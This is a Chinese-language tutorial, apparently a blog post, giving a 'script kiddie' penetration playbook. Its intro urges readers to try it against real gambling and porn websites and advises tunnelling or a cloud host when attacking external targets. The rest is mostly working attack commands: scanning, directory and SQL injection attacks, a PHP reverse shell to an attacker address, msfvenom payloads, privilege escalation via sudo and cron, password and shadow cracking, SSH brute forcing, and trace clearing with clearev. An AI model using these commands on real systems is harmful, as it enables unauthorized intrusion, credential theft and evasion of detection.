脚本小子-基础一篇达
本文 主要是 脚本小子操作的思路,如果要尝试去搜一些博彩、黄色网站进行尝试
学习前知识了解(不需要深入,只需要能够看懂)
1. SQL Language
2. 至少了解一种编程语言:Python、C、C++、Java
3. 前端相关的语言:HTML、JS
4. 会使用浏览器的 F12 开发者工具,查看浏览网站的传输过来的 HTML 信息、网络传输的文件
5. 对于网络、端口、防火墙 有基本认识
6. 对于 Linux 的常用命令要熟悉:find、cd、ls、apt...
7. 对于 url 链接调用要会用:curl、postman...
环境及工具说明
1. kali 2022.3 ,建议把初始的软件都 update
2. 如果攻击的是外网的博彩、黄色 ,建议配置内网穿透 ,或者弄一台云主机
靶场平台说明(当然你也可以自己搭建靶场环境,不使用别人集成好的环境)
vulhub 靶场 : 在搭建过程中 拉取 docker images 镜像太慢了, 我目前没有好的解决办法
渗透的总体流程(脚本小子思路)
1. 进行信息搜集,本文主要还是以服务器暴露出来的信息为主,使用各种工具进行服务器网站的扫描获取有用的信息。
2. 获取到信息后,搜索对应的软件在 漏洞利用数据库里有没有利用的代码
3. 获取利用代码,进行利用
4. 查找服务器信息,利用各种漏洞进行提权
那么开始渗透吧!!!!
信息收集
第一步:网站域名信息搜集
nslookup DNS 信息收集
1 | nslookup www.baidu.com |
dig 查看域名信息
1 | dig www.baidu.com |
dig 查找子域名信息
1 | dig +trace www.baidu.com |
whois 查看域名的证书等等(不过没啥用)
1 | whois www.baidu.com |
dns 爆破
1 | fierce --dns-servers 8.8.8.8 --domain baidu.com |
百度、google 等搜索引擎查看
这边就不列出来了,谁还不会搜索呢?
使用网络空间搜索引擎
www.zoomeye.org
showdan.io
fofa.so
fofa.info
第二步:端口扫描获取信息
简单的 nmap tcp 扫描(这一步我们是要确认靶机开了那些 TCP 端口)
1 | sudo nmap --min-rate 10000 -p- 192.168.10.1 |
简单的 nmap udp 扫描 (虽然一般性这个利用不到,但是不能错过任何一个获取信息的机会)
1 | sudo nmap -sU --min-rate 10000 -p- 192.168.10.1 |
详细的 nmap tcp 扫描(这个时候我们要指定之前扫到的端口)
1 | sudo nmap -sT -sV -O -p22,80 192.168.10.1 |
脚本 nmap 扫描,查看端口是否有漏洞
1 | sudo nmap --script=vuln -p22,80 192.168.10.1 |
如果脚本的扫描很慢,需要指定某些脚本
nmap 脚本存放位置
1 | /usr/share/nmap/scripts |
nmap 脚本库更新操作
1 | sudo nmap --script-updatedb |
脚本名称 | 用途 |
---|---|
auth | 可以对目标主机或目标主机所在的网段应用弱口令检测 |
brute | 可对数据库,smb,snmp等进行简单密码的暴力猜解 |
vuln | 可以检查目标主机或网段是否存在常见的漏洞 |
broadcast | 探测局域网内更多服务开启的情况 |
对 WEB应用防火墙 识别
1 | wafw00f -l |
第三步:Web 服务目录爆破(获得目录信息)
附:那些文件名比较敏感
1 | 参考 github 别人总结好的库:https://github.com/carlospolop/Auto_Wordlists |
dirb 进行目录爆破
1 | sudo dirb http://192.168.10.1 |
这时候我们的思路如下:
1、另一个目录爆破软件进行再次爆破,
2、考虑将爆破的频率降低
3、可能对方服务器走的是反代,那么进行尝试添加反代操作
使用 gobuster 进行爆破
1 | sudo gobuster dir -u http://192.168.10.1 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt |
将爆破速度降低(这边我速度降低到 100ms)
1 | sudo dirb http://192.168.10.1 -z 100 |
使用反代进行爆破(这边我的反代是 192.168.10.1:3333)
1 | sudo dirb http://192.168.10.1 -p http://192.168.10.1:3333 |
第四步:使用工具查看是否有 SQL 注入漏洞
1 | # 手动尝试的话,需要在正常的 url 或者输入框中添加下述信息,也就是截断前面的 SQL 添加信息的 SQL |
我使用 sqlmap 进行尝试(找到对应的链接进行尝试)
1 | sudo sqlmap -u 'http://192.168.10.1/index.html' --dbs --dump --batch |
进行渗透
思路说明
1、如果有 SQL 注入漏洞
1. 那么就可以想办法获得应系统的用户密码,如果之前扫描的时候找到了对应的应用程序,可以去 Github、Gitee 等开源网站找找数据库的表结构
2.当获得加密的用户后可以使用暴力破解工具尝试破解密码
3.如果 系统存在文件上传,那么把反弹 shell 脚本上传上去,之后访问上传的反弹 shell
4.之后我们可以连接到服务器上
2、如果存在文件上传漏洞
1.如果有文件上传漏洞,那么也是可以把反弹shell上传上去,之后利用
3、searchsploit 命令 或者 metasploit 中的 search 命令 查看上述获得应用软件版本是否存在漏洞了利用
1、也是想办法连接到对应服务器,或者把反弹shell进行利用
2、或者一些直接获得系统权限并登录的 漏洞利用这个就更简单了
4、如果是 wordpress 系统,那么突破的可能性就更大了
1、 kali 有 wordpress 专门扫描的工具:wpscan
2、利用 wordpress 漏洞 将反弹 shell 上传并利用
5、常见的漏洞利用
1、如果是 Linux,尝试有没有 shellshock 漏洞(本漏洞在 bash 4.3 就有可能存在)
2、如果是 Windows,看看 永恒之蓝 是否可以利用
6、到最后实在没有办法,那么就使用 ssh 暴力破解 或者 rdp 暴力破解吧,如果没有端口服务,那么脚本小子只能下班收工了
漏洞库说明
1 | # 国际通用漏洞库 |
关于 反弹 shell 的获得
1、手写简单反弹 shell
1 | <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.2/1234 0>&1'"); ?> |
2、kali 自带的一些 反弹 shell
1 | tree /usr/share/webshells |
3、metasploit 中的反弹 shell
1 | msfvenom --list payloads | grep reverse |
1 | msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.10.1 lport=1234 -f exe > shell.exe |
反弹 shell 建立连接
方式一:非 metasploit
1 | nc -lvnp 1234 |
方式二:metasploit
1 | # 进入 metasploit |
meterpreter 一些基础命令说明
命令 | 说明 |
---|---|
sysinfo | 查看目标机系统信息 |
getuid | 查看用户 |
pwd/getIwd | 查看当前目录 |
cd/Icd | 切换目录 |
background | 把当前会话放到后台 |
sessions -i id | 切换到指定会话 |
sessions -k id | 杀死指定会话 |
shell | 进入目标主机 shell |
upload file | 向目标主机上传文件 |
download file | 从目标主机下载文件 |
search | 在目标主机上搜索文件 search -f test |
execute | 在目标主机执行程序 execute -H -i -f cmd.exe |
getsystem | 提权 |
clearev | 清楚痕迹 |
关于加密字符串密码破解
1、使用 hash-identifier 工具 判断加密类型
1 | hash-identifier [加密后的密码字符串] |
2、密码字典破解命令
1 | sudo hashcat -m 0 -a 0 [hash后的密码字符串] [密码字典] |
关于 Linux shadow 密码破解
生成 shadow 密码破解文件
1 | unshadow /etc/passwd /etc/shadow > password.txt |
使用 john 进行密码爆破
1 | sudo john password.txt --wordlist=/usr/share/wordlists/rockyou.txt |
关于 Python 提高 shell 的交互性
使用包管理命令,查看是否安装 python 包
1 | dpkg -l | grep python |
python 提高 shell 交互性
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
Sudoers 的几种提权思路
方式1:
sudo -l 查看是由存在 sudo 权限命令
1 | sudo -l |
如果存在 mv 命令那么可以尝试进行提权
1 | sudo mv /bin/su /bin/tar |
提权
1 | sudo tar |
方式2:
查看是否存在定时脚本
1 | crontab -l |
利用脚本把当前用户的信息写入 /etc/sudoers 中
1 | echo 'username ALL=(ALL:ALL) ALL |
Shellshock 漏洞查看命令
1 | env x='() { :; }; echo "It is vulnerable"' bash -c date |
Wordpress 工具 wpscan
漏洞扫描
1 | sudo wpscan --url https://www.collshell.cn |
wordpress 密码爆破
1 | wpscan --url 192.168.10.1/wordpress -U admin -P /root/password.txt |
ssh 公私密钥提权操作
查看靶机登录用户是否有配置 ssh 公私密钥
1 | cat .ssh/authorized_keys |
查看 prng 是否有漏洞利用*
1 | searchsploit prng |
下载脚本
1 | searchsploit prng -m 5622 |
查看 脚本
获取脚本所依赖的密钥对库,解压密钥库后,用 ls命令进行密钥碰撞,也就是查找 authorized_keys 前30位不到的前缀
利用 ssh 登录
1 | ssh -i [密钥文件] [用户名]@[ip地址] |
SSH 暴力破解
Crackmapexec
1 | sudo crackmapexec ssh 192.168.10.1 -p password.txt -u users.txt --continue-on-success |
Hydra
1 | hydra -L username.txt -P password.txt 192.168.10.1 ssh |
medusa
1 | medusa -M ssh -h 192.168.10.1 -u root -P password.txt |
metasploit 中存在 ssh 插件
1 | msfconsole |